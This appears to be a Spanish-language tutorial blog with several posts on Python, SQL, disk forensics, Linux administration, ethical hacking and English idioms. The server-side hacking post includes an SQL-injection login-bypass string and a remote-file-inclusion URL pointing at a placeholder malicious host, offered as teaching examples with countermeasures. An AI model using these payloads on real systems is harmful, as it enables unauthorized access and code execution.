jueves, 10 de octubre de 2024

Curso de Python


Inicia tu carrera como programador con este curso gratuito de Python ...

Hola, en el siguiente codigo podrás apreciar la opción de

crear un archivo CSV e ingresar 'x' cantidad de datos a registar por país,

y el codigo automaticamente grafica cada dato ingresado en pantalla.


A continuación dejare el Script en texto. 

*********************************

import csv

import matplotlib.pyplot as plt


def register_population(datac):

    #list_headers = ['Country', 'Year', 'Amount_population'] # Encabezado de mis datos en csv # ' Esta linea es opcional si deseas incluirla en tu archivo csv.'

    records = int(input('¿Cuantos datos desea registrar? '))

    with open(datac, 'w', newline='') as data_csv:

        writer = csv.writer(data_csv, delimiter=',')

        #writer.writerow(list_headers)

        for i in range(records):

            print('Datos registrados')

            Country = input('pais: ')

            Year = input('año: ')

            Amount = input('cantidad: ')

            writer.writerow([Country, Year, Amount])


def retrieve_data (datac):

    print('Datos registrados')

    with open(datac, 'r', newline='') as  data_csv:

        reader = csv.reader(data_csv)

        for linea in reader:

            list_headers = ['Country', 'Year', 'Amount_population']

            iterable2 =zip(list_headers, (linea))

            dat_dict = {key:value for key, value in iterable2}

            fig, ax =plt.subplots()

            ax.bar(list_headers,linea)

            plt.title('Grafica de datos ingresados')

            plt.xlabel('Registro')

            plt.ylabel('Datos')

            plt.tight_layout

            plt.show()

            print (dat_dict)

            print('*' * 40)

def run():   

    file = 'data_graph.csv'

    register_population(file)

    retrieve_data(file)


if __name__ =='__main__':

    run()

lunes, 7 de octubre de 2024

Fundamentos de Bases de Datos

 

Fundamentos de Bases de Datos


Base de Datos: Tipo y Características

Objetivo

Comprender los principios básicos de bases de datos relacionales, su estructura y cómo realizar operaciones comunes utilizando SQL.

Materiales

  • Sistema de gestión de bases de datos (DBMS): MySQL, PostgreSQL o similar.
  • Terminal o consola de SQL.

Fundamentos Teóricos

Una base de datos relacional organiza los datos en tablas, donde cada tabla contiene filas y columnas. Una fila representa un registro individual, mientras que una columna contiene un tipo específico de información. Para gestionar y manipular bases de datos relacionales, se utiliza el Lenguaje de Consulta Estructurado (SQL).

Procedimiento

1. Creación de una Base de Datos

Primero, se crea una base de datos en el DBMS. Usamos el siguiente comando:

sql

CREATE DATABASE gestion_estudiantes;

2. Creación de una Tabla

Dentro de la base de datos, se crea una tabla para almacenar los datos de los estudiantes:

sql

USE gestion_estudiantes;
CREATE TABLE estudiantes (
id INT PRIMARY KEY AUTO_INCREMENT,
nombre VARCHAR(50),
edad INT,
carrera VARCHAR(100)
);

En este ejemplo:

  • id es la clave primaria, que identifica de manera única cada registro.
  • nombreedad, y carrera son atributos de los estudiantes.

3. Inserción de Datos

A continuación, se insertan registros en la tabla estudiantes:

sql

INSERT INTO estudiantes (nombre, edad, carrera)
VALUES ('Juan Pérez', 20, 'Ingeniería Informática');

4. Consultas de Selección

Finalmente, para recuperar los datos de la tabla, se utiliza el comando SELECT:

sql

SELECT * FROM estudiantes;

Esto devuelve todos los registros almacenados.

Conclusión

Este laboratorio demuestra cómo crear una base de datos, tablas, insertar registros y realizar consultas usando SQL. Este proceso es fundamental para gestionar la información de manera estructurada y eficiente.

viernes, 4 de octubre de 2024

Informática Forense


Use of FTK Imager Forensic Tool - FTK Imager Uses


Paladin es una herramienta de informática forense que facilita la adquisición y análisis de datos en diversas plataformas, incluyendo Mac. Su interfaz simplificada permite a los usuarios realizar imágenes forenses, preservar la integridad de la evidencia y realizar análisis de discos duros y dispositivos externos. Utilizado en investigaciones criminales, Paladin también incluye herramientas para análisis de redes, recuperación de datos y análisis de memoria. Al utilizar Paladin, los investigadores pueden asegurar la integridad de los datos con hash MD5/SHA.


Para generar una imagen forense de un disco o dispositivo utilizando herramientas como dd en la terminal de Mac, que es una herramienta de bajo nivel para la creación de imágenes binarias, aquí hay un ejemplo de cómo podría hacerse paso a paso.

Uso de dd para Crear una Imagen Forense

  1. Identificar el Disco a Clonar: Primero, necesitamos identificar el dispositivo que queremos clonar. Puedes utilizar el siguiente comando para listar todos los discos conectados al sistema:

    bash

    diskutil list

    Esto mostrará algo como:

    bash

    /dev/disk1 (internal, physical):
    #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *500.3 GB disk1 1: EFI EFI 209.7 MB disk1s1 2: Apple_HFS Macintosh HD 499.9 GB disk1s2

    Aquí, el disco de interés es disk1.

  2. Crear la Imagen Forense con dd: Utiliza el siguiente comando para crear una imagen del disco:

    bash

    sudo dd if=/dev/disk1 of=/ruta/donde/guardar/imagen.img bs=4m conv=noerror,sync
    • if=/dev/disk1: Especifica el disco de origen.
    • of=/ruta/donde/guardar/imagen.img: Ruta de salida donde se guardará la imagen.
    • bs=4m: Define el tamaño de los bloques a copiar (puedes cambiar este valor).
    • conv=noerror,sync: Asegura que no se detenga ante errores de lectura y que sincronice los bloques vacíos si hay sectores defectuosos.
  3. Verificación con Hash: Para verificar la integridad de la imagen generada, puedes crear un hash del archivo de imagen y del disco fuente, comparándolos para asegurarte de que son iguales:

    bash

    # Crear hash del disco original sudo shasum -a 256 /dev/disk1 # Crear hash de la imagen shasum -a 256 /ruta/donde/guardar/imagen.img

    Compara ambos resultados para verificar que la imagen sea una copia exacta.

  4. Montar la Imagen (Opcional): Si deseas revisar el contenido de la imagen sin alterarla, puedes montar la imagen:

    bash

    hdiutil attach /ruta/donde/guardar/imagen.img

    Esto permitirá navegar la imagen como si fuera un disco físico conectado.

Este es un flujo básico de cómo generar una imagen forense en Mac usando la terminal. Herramientas como FTK Imager y Encase agregan interfaces gráficas y más funciones avanzadas.

jueves, 26 de septiembre de 2024

Curso de Hacking: Aplicaciones Web Server Side

 

Curso de Hacking: Aplicaciones Web Server Side


Curso de Hacking Ético y Ciberseguridad para Principiantes - Free course

Objetivo: Explorar y comprender las técnicas de hacking enfocadas en vulnerabilidades del lado del servidor (Server-Side) en aplicaciones web, para identificar fallos de seguridad y proponer medidas correctivas.

Descripción:

El hacking de aplicaciones web server-side se centra en explotar vulnerabilidades en el servidor que gestiona la lógica de la aplicación. Los ataques más comunes incluyen inyección SQL, RFI (Remote File Inclusion) y deserialización insegura.

  1. Inyección SQL:

    • Un atacante inserta código SQL malicioso en un formulario de entrada para acceder a datos sensibles o modificar la base de datos.
    • Ejemplo: En una página de inicio de sesión, al ingresar ' OR '1'='1' -- en el campo de contraseña, el atacante puede eludir la autenticación.
  2. RFI (Remote File Inclusion):

    • Se aprovechan aplicaciones que permiten la inclusión de archivos de forma insegura, inyectando scripts maliciosos en el servidor.
    • Ejemplo: Al modificar la URL de la aplicación para incluir un archivo remoto, como http://example.com/index.php?page=http://malicioso.com/script.php, se ejecuta el archivo malicioso en el servidor.
  3. Deserialización insegura:

    • Un atacante manipula los datos serializados de una aplicación para ejecutar código arbitrario en el servidor.
    • Ejemplo: Al modificar un objeto serializado enviado al servidor, el hacker podría obtener acceso no autorizado o controlar el flujo de la aplicación.

Medidas Correctivas:

  • Usar consultas parametrizadas para prevenir la inyección SQL.
  • Implementar listas blancas de archivos permitidos para evitar RFI.
  • Asegurar la validación de datos deserializados.

Estas técnicas resaltan la importancia de asegurar los procesos server-side para prevenir accesos no autorizados y proteger los datos de los usuarios.

martes, 24 de septiembre de 2024

Curso de Pentesting a Redes


Pentesting a redes WiFi | FASE DE RECOLECCIÓN DE INFORMACIÓN ~ RedBird ...


Objetivo: Analizar y fortalecer la seguridad de una red mediante técnicas de Pentesting, simulando ataques para identificar vulnerabilidades.

Descripción:

El Pentesting o pruebas de penetración en redes evalúa la seguridad de una infraestructura. Los pasos clave incluyen reconocimiento, escaneo, explotación de vulnerabilidades y reportes. Se emplean herramientas como Nmap para el escaneo de puertos y Metasploit para la explotación de vulnerabilidades conocidas.

  1. Reconocimiento:

    • Se realiza un escaneo pasivo de la red para identificar direcciones IP y dispositivos conectados.
    • Herramientas: Nmap para detectar puertos abiertos y servicios corriendo.
  2. Escaneo de vulnerabilidades:

    • Usamos Nessus para identificar posibles fallos de seguridad en dispositivos y aplicaciones conectadas a la red.
    • Ejemplo: Se detecta que un servidor web expone una versión vulnerable de Apache.
  3. Explotación:

    • Mediante Metasploit, intentamos explotar las vulnerabilidades encontradas para acceder no autorizado, simulando ataques reales.
  4. Reporte:

    • Documentamos las vulnerabilidades descubiertas y sus riesgos, proponiendo soluciones como actualizaciones de software o configuraciones más seguras.

Este proceso ayuda a detectar fallos antes de que los atacantes reales lo hagan, mejorando la seguridad proactiva de la red.

sábado, 21 de septiembre de 2024

Administración de Servidores Linux: Manejo de Recursos

 Administración de Servidores Linux: Manejo de Recursos

Curso de Administración de Servidores Linux - Platzi

Objetivo: Implementar un sistema de monitoreo y optimización de recursos en un servidor Linux, garantizando un rendimiento estable y eficiente.

Descripción:

El proyecto se centra en gestionar de manera efectiva los recursos de un servidor Linux mediante el monitoreo de CPU, memoria y disco, con la automatización de respuestas a alertas de sobrecarga. Usaremos herramientas como htopiostat, y sar para obtener estadísticas en tiempo real.

  1. Monitoreo de CPU y memoria:

    • Usaremos el comando htop para visualizar los procesos activos y su consumo de CPU y memoria.
    • Ejemplo: Se detecta un proceso java que consume el 90% de la CPU. Implementamos un script que automáticamente reinicie el servicio cuando el uso supere el 80%.
  2. Monitoreo del uso de disco:

    • Utilizamos df -h y du para auditar el espacio en disco. En caso de que una partición supere el 85% de uso, se activa un script que elimina archivos temporales.
  3. Alertas y automatización:

    • Implementamos cron para ejecutar los scripts y configurar alertas con sendmail, notificando al administrador cuando se detecten situaciones críticas.

Ejemplo Real:

En un servidor de producción, se implementa el monitoreo de un proceso de bases de datos con htop, detectando picos de consumo de CPU que causaban lentitud en el servicio. Al automatizar el reinicio de este proceso, el tiempo de inactividad se redujo en un 30%.

lunes, 5 de agosto de 2024

Informal Connectors and Contractions in English

 

Informal Contractions - Materials For Learning English

Informal Connectors and Contractions in English

Every morning, Sarah, a systems engineer, hits the ground running. She starts her day by touching base with her team to ensure everyone is on the same page. After the quick huddle, she dives into her tasks, often putting out fires and tackling bugs in the system.


By midday, Sarah takes a break to grab a bite and brainstorm new solutions. Post-lunch, she’s back at her desk, working against the clock to meet tight deadlines. She often wears many hats, balancing coding, troubleshooting, and project management.


As the day winds down, Sarah reviews her progress, ensuring all deliverables are met. Before clocking out, she circles back with her team, wrapping up loose ends and setting the stage for the next day.

Curso de Python

Hola, en el siguiente codigo podrás apreciar la opción de crear un archivo CSV e ingresar 'x' cantidad de datos a registar por país,...